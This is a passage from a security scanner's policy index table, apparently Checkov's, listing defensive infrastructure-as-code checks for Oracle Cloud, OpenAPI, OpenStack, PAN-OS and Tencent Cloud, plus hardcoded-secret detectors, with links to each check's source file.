[SecurityListUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/SecurityListUnrestrictedIngress22.py) | | 7808 | CKV_OCI_20 | resource | oci_core_security_list | Ensure no security list allow ingress from 0.0.0.0:0 to port 3389. | Terraform | [SecurityListUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/SecurityListUnrestrictedIngress3389.py) | | 7809 | CKV_OCI_21 | resource | oci_core_network_security_group_security_rule | Ensure security group has stateless ingress security rules | Terraform | [SecurityGroupsIngressStatelessSecurityRules.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/SecurityGroupsIngressStatelessSecurityRules.py) | | 7810 | CKV_OCI_22 | resource | oci_core_network_security_group_security_rule | Ensure no security groups rules allow ingress from 0.0.0.0/0 to port 22 | Terraform | [AbsSecurityGroupUnrestrictedIngress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/AbsSecurityGroupUnrestrictedIngress.py) | | 7811 | CKV_OCI_23 | resource | oci_datacatalog_catalog | Ensure OCI Data Catalog is configured without overly permissive network access | Terraform | [DataCatalogWithPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/DataCatalogWithPublicAccess.py) | | 7812 | CKV2_OCI_1 | resource | oci_identity_group | Ensure administrator users are not associated with API keys | Terraform | [AdministratorUserNotAssociatedWithAPIKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/AdministratorUserNotAssociatedWithAPIKey.yaml) | | 7813 | CKV2_OCI_1 | resource | oci_identity_user | Ensure administrator users are not associated with API keys | Terraform | [AdministratorUserNotAssociatedWithAPIKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/AdministratorUserNotAssociatedWithAPIKey.yaml) | | 7814 | CKV2_OCI_1 | resource | oci_identity_user_group_membership | Ensure administrator users are not associated with API keys | Terraform | [AdministratorUserNotAssociatedWithAPIKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/AdministratorUserNotAssociatedWithAPIKey.yaml) | | 7815 | CKV2_OCI_2 | resource | oci_core_network_security_group_security_rule | Ensure NSG does not allow all traffic on RDP port (3389) | Terraform | [OCI_NSGNotAllowRDP.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/OCI_NSGNotAllowRDP.yaml) | | 7816 | CKV2_OCI_3 | resource | oci_containerengine_cluster | Ensure Kubernetes engine cluster is configured with NSG(s) | Terraform | [OCI_KubernetesEngineClusterEndpointConfigWithNSG.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/OCI_KubernetesEngineClusterEndpointConfigWithNSG.yaml) | | 7817 | CKV2_OCI_4 | resource | oci_file_storage_export | Ensure File Storage File System access is restricted to root users | Terraform | [OCI_NFSaccessRestrictedToRootUsers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/OCI_NFSaccessRestrictedToRootUsers.yaml) | | 7818 | CKV2_OCI_5 | resource | oci_containerengine_node_pool | Ensure Kubernetes Engine Cluster boot volume is configured with in-transit data encryption | Terraform | [OCI_K8EngineClusterBootVolConfigInTransitEncryption.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/OCI_K8EngineClusterBootVolConfigInTransitEncryption.yaml) | | 7819 | CKV2_OCI_6 | resource | oci_containerengine_cluster | Ensure Kubernetes Engine Cluster pod security policy is enforced | Terraform | [OCI_K8EngineClusterPodSecPolicyEnforced.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/OCI_K8EngineClusterPodSecPolicyEnforced.yaml) | | 7820 | CKV_OPENAPI_1 | resource | securityDefinitions | Ensure that securityDefinitions is defined and not empty - version 2.0 files | OpenAPI | [SecurityDefinitions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/SecurityDefinitions.py) | | 7821 | CKV_OPENAPI_2 | resource | security | Ensure that if the security scheme is not of type 'oauth2', the array value must be empty - version 2.0 files | OpenAPI | [Oauth2SecurityRequirement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/Oauth2SecurityRequirement.py) | | 7822 | CKV_OPENAPI_3 | resource | components | Ensure that security schemes don't allow cleartext credentials over unencrypted channel - version 3.x.y files | OpenAPI | [CleartextOverUnencryptedChannel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v3/CleartextOverUnencryptedChannel.py) | | 7823 | CKV_OPENAPI_4 | resource | security | Ensure that the global security field has rules defined | OpenAPI | [GlobalSecurityFieldIsEmpty.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/generic/GlobalSecurityFieldIsEmpty.py) | | 7824 | CKV_OPENAPI_5 | resource | security | Ensure that security operations is not empty. | OpenAPI | [SecurityOperations.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/generic/SecurityOperations.py) | | 7825 | CKV_OPENAPI_6 | resource | security | Ensure that security requirement defined in securityDefinitions - version 2.0 files | OpenAPI | [SecurityRequirement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/SecurityRequirement.py) | | 7826 | CKV_OPENAPI_7 | resource | security | Ensure that the path scheme does not support unencrypted HTTP connection where all transmissions are open to interception- version 2.0 files | OpenAPI | [PathSchemeDefineHTTP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/PathSchemeDefineHTTP.py) | | 7827 | CKV_OPENAPI_8 | resource | security | Ensure that security is not using 'password' flow in OAuth2 authentication - version 2.0 files | OpenAPI | [Oauth2SecurityPasswordFlow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/Oauth2SecurityPasswordFlow.py) | | 7828 | CKV_OPENAPI_9 | resource | paths | Ensure that security scopes of operations are defined in securityDefinitions - version 2.0 files | OpenAPI | [OperationObjectSecurityScopeUndefined.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/OperationObjectSecurityScopeUndefined.py) | | 7829 | CKV_OPENAPI_10 | resource | paths | Ensure that operation object does not use 'password' flow in OAuth2 authentication - version 2.0 files | OpenAPI | [Oauth2OperationObjectPasswordFlow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/Oauth2OperationObjectPasswordFlow.py) | | 7830 | CKV_OPENAPI_11 | resource | securityDefinitions | Ensure that operation object does not use 'password' flow in OAuth2 authentication - version 2.0 files | OpenAPI | [Oauth2SecurityDefinitionPasswordFlow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/Oauth2SecurityDefinitionPasswordFlow.py) | | 7831 | CKV_OPENAPI_12 | resource | securityDefinitions | Ensure no security definition is using implicit flow on OAuth2, which is deprecated - version 2.0 files | OpenAPI | [Oauth2SecurityDefinitionImplicitFlow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/Oauth2SecurityDefinitionImplicitFlow.py) | | 7832 | CKV_OPENAPI_13 | resource | securityDefinitions | Ensure security definitions do not use basic auth - version 2.0 files | OpenAPI | [SecurityDefinitionBasicAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/SecurityDefinitionBasicAuth.py) | | 7833 | CKV_OPENAPI_14 | resource | paths | Ensure that operation objects do not use 'implicit' flow, which is deprecated - version 2.0 files | OpenAPI | [OperationObjectImplicitFlow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/OperationObjectImplicitFlow.py) | | 7834 | CKV_OPENAPI_15 | resource | paths | Ensure that operation objects do not use basic auth - version 2.0 files | OpenAPI | [OperationObjectBasicAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/OperationObjectBasicAuth.py) | | 7835 | CKV_OPENAPI_16 | resource | paths | Ensure that operation objects have 'produces' field defined for GET operations - version 2.0 files | OpenAPI | [OperationObjectProducesUndefined.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/OperationObjectProducesUndefined.py) | | 7836 | CKV_OPENAPI_17 | resource | paths | Ensure that operation objects have 'consumes' field defined for PUT, POST and PATCH operations - version 2.0 files | OpenAPI | [OperationObjectConsumesUndefined.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/OperationObjectConsumesUndefined.py) | | 7837 | CKV_OPENAPI_18 | resource | schemes | Ensure that global schemes use 'https' protocol instead of 'http'- version 2.0 files | OpenAPI | [GlobalSchemeDefineHTTP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/GlobalSchemeDefineHTTP.py) | | 7838 | CKV_OPENAPI_19 | resource | security | Ensure that global security scope is defined in securityDefinitions - version 2.0 files | OpenAPI | [GlobalSecurityScopeUndefined.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/GlobalSecurityScopeUndefined.py) | | 7839 | CKV_OPENAPI_20 | resource | paths | Ensure that API keys are not sent over cleartext | OpenAPI | [ClearTextAPIKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/generic/ClearTextAPIKey.py) | | 7840 | CKV_OPENAPI_21 | resource | paths | Ensure that arrays have a maximum number of items | OpenAPI | [NoMaximumNumberItems.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/generic/NoMaximumNumberItems.py) | | 7841 | CKV_OPENSTACK_1 | provider | openstack | Ensure no hard coded OpenStack password, token, or application_credential_secret exists in provider | Terraform | [credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/provider/openstack/credentials.py) | | 7842 | CKV_OPENSTACK_2 | resource | openstack_compute_secgroup_v2 | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22 (tcp / udp) | Terraform | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/openstack/SecurityGroupUnrestrictedIngress22.py) | | 7843 | CKV_OPENSTACK_2 | resource | openstack_networking_secgroup_rule_v2 | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22 (tcp / udp) | Terraform | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/openstack/SecurityGroupUnrestrictedIngress22.py) | | 7844 | CKV_OPENSTACK_3 | resource | openstack_compute_secgroup_v2 | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389 (tcp / udp) | Terraform | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/openstack/SecurityGroupUnrestrictedIngress3389.py) | | 7845 | CKV_OPENSTACK_3 | resource | openstack_networking_secgroup_rule_v2 | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389 (tcp / udp) | Terraform | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/openstack/SecurityGroupUnrestrictedIngress3389.py) | | 7846 | CKV_OPENSTACK_4 | resource | openstack_compute_instance_v2 | Ensure that instance does not use basic credentials | Terraform | [ComputeInstanceAdminPassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/openstack/ComputeInstanceAdminPassword.py) | | 7847 | CKV_OPENSTACK_5 | resource | openstack_fw_rule_v1 | Ensure firewall rule set a destination IP | Terraform | [FirewallRuleSetDestinationIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/openstack/FirewallRuleSetDestinationIP.py) | | 7848 | CKV_PAN_1 | provider | panos | Ensure no hard coded PAN-OS credentials exist in provider | Terraform | [credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/provider/panos/credentials.py) | | 7849 | CKV_PAN_2 | resource | panos_management_profile | Ensure plain-text management HTTP is not enabled for an Interface Management Profile | Terraform | [InterfaceMgmtProfileNoHTTP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/InterfaceMgmtProfileNoHTTP.py) | | 7850 | CKV_PAN_2 | resource | tasks.paloaltonetworks.panos.panos_management_profile | Ensure plain-text management HTTP is not enabled for an Interface Management Profile | Ansible | [PanosInterfaceMgmtProfileNoHTTP.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosInterfaceMgmtProfileNoHTTP.yaml) | | 7851 | CKV_PAN_3 | resource | panos_management_profile | Ensure plain-text management Telnet is not enabled for an Interface Management Profile | Terraform | [InterfaceMgmtProfileNoTelnet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/InterfaceMgmtProfileNoTelnet.py) | | 7852 | CKV_PAN_3 | resource | tasks.paloaltonetworks.panos.panos_management_profile | Ensure plain-text management Telnet is not enabled for an Interface Management Profile | Ansible | [PanosInterfaceMgmtProfileNoTelnet.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosInterfaceMgmtProfileNoTelnet.yaml) | | 7853 | CKV_PAN_4 | resource | panos_security_policy | Ensure DSRI is not enabled within security policies | Terraform | [PolicyNoDSRI.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoDSRI.py) | | 7854 | CKV_PAN_4 | resource | panos_security_rule_group | Ensure DSRI is not enabled within security policies | Terraform | [PolicyNoDSRI.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoDSRI.py) | | 7855 | CKV_PAN_4 | resource | tasks.paloaltonetworks.panos.panos_security_rule | Ensure DSRI is not enabled within security policies | Ansible | [PanosPolicyNoDSRI.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyNoDSRI.yaml) | | 7856 | CKV_PAN_5 | resource | panos_security_policy | Ensure security rules do not have 'applications' set to 'any' | Terraform | [PolicyNoApplicationAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoApplicationAny.py) | | 7857 | CKV_PAN_5 | resource | panos_security_rule_group | Ensure security rules do not have 'applications' set to 'any' | Terraform | [PolicyNoApplicationAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoApplicationAny.py) | | 7858 | CKV_PAN_5 | resource | tasks.paloaltonetworks.panos.panos_security_rule | Ensure security rules do not have 'application' set to 'any' | Ansible | [PanosPolicyNoApplicationAny.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyNoApplicationAny.yaml) | | 7859 | CKV_PAN_6 | resource | panos_security_policy | Ensure security rules do not have 'services' set to 'any' | Terraform | [PolicyNoServiceAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoServiceAny.py) | | 7860 | CKV_PAN_6 | resource | panos_security_rule_group | Ensure security rules do not have 'services' set to 'any' | Terraform | [PolicyNoServiceAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoServiceAny.py) | | 7861 | CKV_PAN_6 | resource | tasks.paloaltonetworks.panos.panos_security_rule | Ensure security rules do not have 'service' set to 'any' | Ansible | [PanosPolicyNoServiceAny.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyNoServiceAny.yaml) | | 7862 | CKV_PAN_7 | resource | panos_security_policy | Ensure security rules do not have 'source_addresses' and 'destination_addresses' both containing values of 'any' | Terraform | [PolicyNoSrcAnyDstAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoSrcAnyDstAny.py) | | 7863 | CKV_PAN_7 | resource | panos_security_rule_group | Ensure security rules do not have 'source_addresses' and 'destination_addresses' both containing values of 'any' | Terraform | [PolicyNoSrcAnyDstAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoSrcAnyDstAny.py) | | 7864 | CKV_PAN_7 | resource | tasks.paloaltonetworks.panos.panos_security_rule | Ensure security rules do not have 'source_ip' and 'destination_ip' both containing values of 'any' | Ansible | [PanosPolicyNoSrcAnyDstAny.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyNoSrcAnyDstAny.yaml) | | 7865 | CKV_PAN_8 | resource | panos_security_policy | Ensure description is populated within security policies | Terraform | [PolicyDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyDescription.py) | | 7866 | CKV_PAN_8 | resource | panos_security_rule_group | Ensure description is populated within security policies | Terraform | [PolicyDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyDescription.py) | | 7867 | CKV_PAN_8 | resource | tasks.paloaltonetworks.panos.panos_security_rule | Ensure description is populated within security policies | Ansible | [PanosPolicyDescription.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyDescription.yaml) | | 7868 | CKV_PAN_9 | resource | panos_security_policy | Ensure a Log Forwarding Profile is selected for each security policy rule | Terraform | [PolicyLogForwarding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyLogForwarding.py) | | 7869 | CKV_PAN_9 | resource | panos_security_rule_group | Ensure a Log Forwarding Profile is selected for each security policy rule | Terraform | [PolicyLogForwarding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyLogForwarding.py) | | 7870 | CKV_PAN_9 | resource | tasks.paloaltonetworks.panos.panos_security_rule | Ensure a Log Forwarding Profile is selected for each security policy rule | Ansible | [PanosPolicyLogForwarding.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyLogForwarding.yaml) | | 7871 | CKV_PAN_10 | resource | panos_security_policy | Ensure logging at session end is enabled within security policies | Terraform | [PolicyLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyLoggingEnabled.py) | | 7872 | CKV_PAN_10 | resource | panos_security_rule_group | Ensure logging at session end is enabled within security policies | Terraform | [PolicyLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyLoggingEnabled.py) | | 7873 | CKV_PAN_10 | resource | tasks.paloaltonetworks.panos.panos_security_rule | Ensure logging at session end is enabled within security policies | Ansible | [PanosPolicyLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyLoggingEnabled.yaml) | | 7874 | CKV_PAN_11 | resource | panos_ipsec_crypto_profile | Ensure IPsec profiles do not specify use of insecure encryption algorithms | Terraform | [NetworkIPsecAlgorithms.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/NetworkIPsecAlgorithms.py) | | 7875 | CKV_PAN_11 | resource | panos_panorama_ipsec_crypto_profile | Ensure IPsec profiles do not specify use of insecure encryption algorithms | Terraform | [NetworkIPsecAlgorithms.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/NetworkIPsecAlgorithms.py) | | 7876 | CKV_PAN_12 | resource | panos_ipsec_crypto_profile | Ensure IPsec profiles do not specify use of insecure authentication algorithms | Terraform | [NetworkIPsecAuthAlgorithms.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/NetworkIPsecAuthAlgorithms.py) | | 7877 | CKV_PAN_12 | resource | panos_panorama_ipsec_crypto_profile | Ensure IPsec profiles do not specify use of insecure authentication algorithms | Terraform | [NetworkIPsecAuthAlgorithms.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/NetworkIPsecAuthAlgorithms.py) | | 7878 | CKV_PAN_12 | resource | tasks.paloaltonetworks.panos.panos_ipsec_profile | Ensure IPsec profiles do not specify use of insecure authentication algorithms | Ansible | [PanosIPsecAuthenticationAlgorithms.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosIPsecAuthenticationAlgorithms.yaml) | | 7879 | CKV_PAN_13 | resource | panos_ipsec_crypto_profile | Ensure IPsec profiles do not specify use of insecure protocols | Terraform | [NetworkIPsecProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/NetworkIPsecProtocols.py) | | 7880 | CKV_PAN_13 | resource | panos_panorama_ipsec_crypto_profile | Ensure IPsec profiles do not specify use of insecure protocols | Terraform | [NetworkIPsecProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/NetworkIPsecProtocols.py) | | 7881 | CKV_PAN_13 | resource | tasks.paloaltonetworks.panos.panos_ipsec_profile | Ensure IPsec profiles do not specify use of insecure protocols | Ansible | [PanosIPsecProtocols.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosIPsecProtocols.yaml) | | 7882 | CKV_PAN_14 | resource | panos_panorama_zone | Ensure a Zone Protection Profile is defined within Security Zones | Terraform | [ZoneProtectionProfile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/ZoneProtectionProfile.py) | | 7883 | CKV_PAN_14 | resource | panos_zone | Ensure a Zone Protection Profile is defined within Security Zones | Terraform | [ZoneProtectionProfile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/ZoneProtectionProfile.py) | | 7884 | CKV_PAN_14 | resource | panos_zone_entry | Ensure a Zone Protection Profile is defined within Security Zones | Terraform | [ZoneProtectionProfile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/ZoneProtectionProfile.py) | | 7885 | CKV_PAN_14 | resource | tasks.paloaltonetworks.panos.panos_zone | Ensure a Zone Protection Profile is defined within Security Zones | Ansible | [PanosZoneProtectionProfile.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosZoneProtectionProfile.yaml) | | 7886 | CKV_PAN_15 | resource | panos_panorama_zone | Ensure an Include ACL is defined for a Zone when User-ID is enabled | Terraform | [ZoneUserIDIncludeACL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/ZoneUserIDIncludeACL.py) | | 7887 | CKV_PAN_15 | resource | panos_zone | Ensure an Include ACL is defined for a Zone when User-ID is enabled | Terraform | [ZoneUserIDIncludeACL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/ZoneUserIDIncludeACL.py) | | 7888 | CKV_PAN_15 | resource | tasks.paloaltonetworks.panos.panos_zone | Ensure an Include ACL is defined for a Zone when User-ID is enabled | Ansible | [PanosZoneUserIDIncludeACL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosZoneUserIDIncludeACL.yaml) | | 7889 | CKV_PAN_16 | resource | tasks.paloaltonetworks.panos.panos_security_rule | Ensure logging at session start is disabled within security policies except for troubleshooting and long lived GRE tunnels | Ansible | [PanosPolicyLogSessionStart.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyLogSessionStart.yaml) | | 7890 | CKV_PAN_17 | resource | tasks.paloaltonetworks.panos.panos_security_rule | Ensure security rules do not have 'source_zone' and 'destination_zone' both containing values of 'any' | Ansible | [PanosPolicyNoSrcZoneAnyNoDstZoneAny.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyNoSrcZoneAnyNoDstZoneAny.yaml) | | 7891 | CKV_SECRET_1 | Artifactory Credentials | secrets | Artifactory Credentials | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 7892 | CKV_SECRET_2 | AWS Access Key | secrets | AWS Access Key | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 7893 | CKV_SECRET_3 | Azure Storage Account access key | secrets | Azure Storage Account access key | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 7894 | CKV_SECRET_4 | Basic Auth Credentials | secrets | Basic Auth Credentials | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 7895 | CKV_SECRET_5 | Cloudant Credentials | secrets | Cloudant Credentials | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 7896 | CKV_SECRET_6 | Base64 High Entropy String | secrets | Base64 High Entropy String | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 7897 | CKV_SECRET_7 | IBM Cloud IAM Key | secrets | IBM Cloud IAM Key | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 7898 | CKV_SECRET_8 | IBM COS HMAC Credentials | secrets | IBM COS HMAC Credentials | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 7899 | CKV_SECRET_9 | JSON Web Token | secrets | JSON Web Token | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 7900 | CKV_SECRET_11 | Mailchimp Access Key | secrets | Mailchimp Access Key | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 7901 | CKV_SECRET_12 | NPM tokens | secrets | NPM tokens | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 7902 | CKV_SECRET_13 | Private Key | secrets | Private Key | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 7903 | CKV_SECRET_14 | Slack Token | secrets | Slack Token | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 7904 | CKV_SECRET_15 | SoftLayer Credentials | secrets | SoftLayer Credentials | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 7905 | CKV_SECRET_16 | Square OAuth Secret | secrets | Square OAuth Secret | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 7906 | CKV_SECRET_17 | Stripe Access Key | secrets | Stripe Access Key | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 7907 | CKV_SECRET_18 | Twilio API Key | secrets | Twilio API Key | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 7908 | CKV_SECRET_19 | Hex High Entropy String | secrets | Hex High Entropy String | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 7909 | CKV_TC_1 | resource | tencentcloud_cbs_storage | Ensure Tencent Cloud CBS is encrypted | Terraform | [CBSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CBSEncryption.py) | | 7910 | CKV_TC_2 | resource | tencentcloud_instance | Ensure Tencent Cloud CVM instance does not allocate a public IP | Terraform | [CVMAllocatePublicIp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CVMAllocatePublicIp.py) | | 7911 | CKV_TC_3 | resource | tencentcloud_instance | Ensure Tencent Cloud CVM monitor service is enabled | Terraform | [CVMDisableMonitorService.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CVMDisableMonitorService.py) | | 7912 | CKV_TC_4 | resource | tencentcloud_instance | Ensure Tencent Cloud CVM instances do not use the default security group | Terraform | [CVMUseDefaultSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CVMUseDefaultSecurityGroup.py) | | 7913 | CKV_TC_5 | resource | tencentcloud_instance | Ensure Tencent Cloud CVM instances do not use the default VPC | Terraform | [CVMUseDefaultVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CVMUseDefaultVPC.py) | | 7914 | CKV_TC_6 | resource | tencentcloud_kubernetes_cluster | Ensure Tencent Cloud TKE clusters enable log agent | Terraform | [TKELogAgentEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/TKELogAgentEnabled.py) | | 7915 | CKV_TC_7 | resource | tencentcloud_kubernetes_cluster | Ensure Tencent Cloud TKE cluster is not assigned a public IP address | Terraform | 